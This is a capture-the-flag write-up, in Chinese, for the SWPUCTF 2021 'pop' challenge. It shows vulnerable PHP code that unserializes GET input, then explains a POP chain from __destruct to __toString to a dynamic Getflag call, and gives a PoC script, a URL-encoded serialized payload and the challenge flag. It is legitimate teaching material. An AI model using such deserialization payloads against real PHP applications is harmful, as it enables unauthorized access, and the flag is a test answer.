[SWPUCTF 2021 新生赛]pop
题目源码
<?php
error_reporting(0);
show_source("index.php");
class w44m{
private $admin = 'aaa';
protected $passwd = '123456';
public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}
class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}
class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}
$w00m = $_GET['w00m'];
unserialize($w00m);
?>
解题分析
pop链构造从魔术方法入手
通过反推得到 w22m中的destruct是第一个利用点
在该函数利用下 会通过echo输出
输出什么内容不要紧 最重要的是输出的这个行为 等于是将数据变成了string类型的字符串
这样就会触发到w33m中的tostring函数
该函数会触发动态调用方法
$this->w00m是一个对象,而$this->w22m则是该对象的一个属性名。
代码中使用了动态方法调用语法,通过->{$this->w22m}()可以调用 $this->w00m对象的某个方法。
那么 通过构造具体的方法名 可以去触发Getflag方法 也就是说这里可以将{$this->w22m}()的值设为Getflag就行
另外还需要注意这里存在protect属性 最后要url编码防止报错
POC
<?php
class w44m{
private $admin = 'w44m';
protected $passwd = '08067';
}
class w22m{
public $w00m;
}
class w33m{
public $w00m;
public $w22m;
}
$a = new w22m();
$a->w00m = new w33m();
$a->w00m->w00m=new w44m();
$a->w00m->w22m='Getflag';
echo urlencode(serialize($a));
?>
得到payload
O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D
传参得到flag
NSSCTF{bd41570c-ef1f-44b6-bed4-78b8f31b0749}